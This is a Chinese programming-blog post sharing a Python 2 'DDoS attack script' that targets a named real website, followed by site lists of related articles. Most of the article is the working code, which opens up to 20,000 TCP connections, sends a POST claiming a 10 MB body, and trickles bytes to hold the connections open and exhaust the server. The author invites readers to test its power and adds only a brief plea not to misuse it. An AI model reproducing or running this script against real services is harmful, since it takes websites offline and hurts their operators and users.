python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python检测lvs real server状态
Jan 22 Python
Python爬虫实现爬取京东手机页面的图片(实例代码)
Nov 30 Python
Python实现简单生成验证码功能【基于random模块】
Feb 10 Python
numpy.delete删除一列或多列的方法
Apr 03 Python
[原创]Python入门教程3. 列表基本操作【定义、运算、常用函数】
Oct 30 Python
详细介绍pandas的DataFrame的append方法使用
Jul 31 Python
Python3变量与基本数据类型用法实例分析
Feb 14 Python
Python3实现打印任意宽度的菱形代码
Apr 12 Python
python 使用多线程创建一个Buffer缓存器的实现思路
Jul 02 Python
用python实现一个简单计算器(完整DEMO)
Oct 14 Python
Python测试框架:pytest学习笔记
Oct 20 Python
Python中Matplotlib的点、线形状、颜色以及绘制散点图
Apr 07 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
php 遍历显示文件夹下所有目录、所有文件的函数,没有分页的代码
2008/11/14 PHP
php中序列化与反序列化详解
2017/02/13 PHP
PHP之认识(二)关于Traits的用法详解
2019/04/11 PHP
js prototype截取字符串函数
2010/04/01 Javascript
关于js中window.location.href,location.href,parent.location.href,top.location.href的用法与区别
2010/10/18 Javascript
table对象中的insertRow与deleteRow使用示例
2014/01/26 Javascript
Flow之一个新的Javascript静态类型检查器
2015/12/21 Javascript
动态生成的DOM不会触发onclick事件的原因及解决方法
2016/08/06 Javascript
Bootstrap轮播图的使用和理解4
2016/12/14 Javascript
Angular自定义组件实现数据双向数据绑定的实例
2017/12/11 Javascript
分析JS中this引发的bug
2017/12/12 Javascript
js判断输入框不能为空格或null值的实现方法
2018/03/02 Javascript
element-ui upload组件多文件上传的示例代码
2018/10/17 Javascript
如何通过javaScript去除字符串两端的空白字符
2020/02/06 Javascript
如何区分vue中的v-show 与 v-if
2020/09/08 Javascript
vue中配置scss全局变量的步骤
2020/12/28 Vue.js
[01:54]TI珍贵瞬间系列(五):压力
2020/08/29 DOTA
Python中使用item()方法遍历字典的例子
2014/08/26 Python
python: line=f.readlines()消除line中\n的方法
2018/03/19 Python
如何在python字符串中输入纯粹的{}
2018/08/22 Python
Django实现微信小程序的登录验证功能并维护登录态
2019/07/04 Python
Django上线部署之IIS的配置方法
2019/08/22 Python
python 函数的缺省参数使用注意事项分析
2019/09/17 Python
浅谈anaconda python 版本对应关系
2020/10/07 Python
马来西亚网上购物平台:ezbuy
2018/02/13 全球购物
美国最大的户外装备和服装购物网站:Backcountry
2019/10/15 全球购物
市场营销专业个人求职信范文
2013/12/14 职场文书
中层干部岗位职责
2013/12/18 职场文书
大学生学习党课思想汇报
2014/01/03 职场文书
大学生两会精神学习心得体会
2014/03/10 职场文书
关于环保的标语
2014/06/13 职场文书
导航工程专业自荐信
2014/09/02 职场文书
2015自愿离婚协议书范本
2015/01/28 职场文书
学生会个人总结范文
2015/02/15 职场文书
休假证明书
2015/06/24 职场文书
Python中的np.argmin()和np.argmax()函数用法
2021/06/02 Python